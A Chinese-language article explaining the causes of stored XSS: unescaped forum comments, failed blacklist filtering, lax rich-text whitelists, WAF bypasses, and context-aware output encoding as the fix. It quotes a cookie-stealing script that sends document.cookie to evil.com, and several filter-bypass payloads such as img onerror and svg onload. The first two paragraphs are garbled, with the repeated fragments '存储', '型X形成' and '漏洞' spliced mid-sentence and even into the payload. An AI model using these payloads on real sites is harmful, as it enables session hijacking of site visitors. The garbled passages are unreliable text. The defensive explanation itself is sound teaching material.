存储型XSS漏洞形成的原因是什么

一个论坛的存储帖子详情页，用户提交的型X形成评论内容被原样存进了MySQL，又在每次页面加载时被原样吐进HTML。漏洞某天有人发了一条评论，存储内容里藏了<script>fetch('//evil.com/steal?型X形成c='+document.cookie)</script>。之后每一个打开这个帖子的漏洞用户，浏览器都会静默地把自己的存储Cookie发到攻击者服务器上。这就是型X形成存储型XSS——恶意代码没有被反射回来，而是漏洞被数据库"记住"了，然后反复执行。存储

关键在于"存"这个动作。型X形成反射型XSS需要诱导受害者点击一个精心构造的漏洞URL，一次性触发。存储存储型不同，型X形成攻击载荷持久化在服务端，漏洞任何访问该页面的用户都会中招，不需要额外诱导。攻击面从"一个人一次"变成"所有人每次"。

为什么会形成这种漏洞？根子上是两件事没做好：输入没被当作不可信数据对待，输出没做上下文相关的编码。

先看输入端。很多开发者的心智模型是"用户输入的是内容"，于是直接把$_POST['comment']塞进INSERT语句。参数化查询能防SQL注入，但对XSS毫无作用——因为XSS发生在浏览器端，数据库只是中转站。有些团队会在输入时做一次strip_tags()或者过滤<script>，觉得这样就安全了。问题是黑名单永远堵不完：<img src=x onerror=alert(1)>、<svg onload=...>、javascript:伪协议、甚至<script>的各种大小写和编码变体。过滤输入这条路，方向本身就偏了。

真正的问题出在输出环节。数据从数据库取出来之后，被拼接进HTML模板。<div class="comment">${ content}</div>——浏览器看到这行HTML时，无法区分哪些字符是开发者写的结构，哪些是用户塞进来的内容。用户输入的<script>和开发者手写的<script>，在浏览器眼里一模一样。

我见过一个典型场景：某CMS的留言板功能，后端用PHP的htmlspecialchars()处理了昵称字段，但漏掉了留言正文。原因很荒诞——昵称要显示在<title>标签里，开发者觉得那里"更危险"，正文放在<div>里就放松了。实际上<div>里照样能执行脚本，onerror、onload这类事件属性根本不需要<script>标签。

还有一种情况更隐蔽：富文本编辑器。为了允许用户加粗、插入链接，后端不得不放行一部分HTML标签。这时候如果用的过滤库有版本漏洞，或者白名单配置过宽（比如允许了<a href="javascript:...">），存储型XSS就找到了入口。攻击者不需要直接写<script>，利用合法标签的属性就能执行代码。

浏览器同源策略在这里帮不上忙。恶意脚本一旦在目标域下执行，它就是这个域的"合法公民"——能读Cookie、能发请求、能操作DOM。服务端的Session验证、CSRF Token，在脚本面前全部透明。

说到底，存储型XSS不是某一个函数没写好，而是整个数据流的设计出了问题。数据从进入系统到离开系统，中间经过了存储、读取、拼接、渲染多个环节，只要有一个环节默认"这段内容是可信任的HTML"，漏洞就成立。修复方式也只有一个方向：在输出到HTML的最后一刻，根据所在上下文（HTML正文、属性、JS、URL）做对应的编码。输入过滤可以做，但那是纵深防御的附加层，不是主力。

有个细节值得琢磨：很多团队修XSS时喜欢在全局加一个WAF规则，拦截请求里的<script>。结果攻击者用<img src=x onerror=...>就绕过去了。WAF能挡脚本小子，挡不住真正理解浏览器解析机制的人。漏洞的根因在代码里，不在网络层。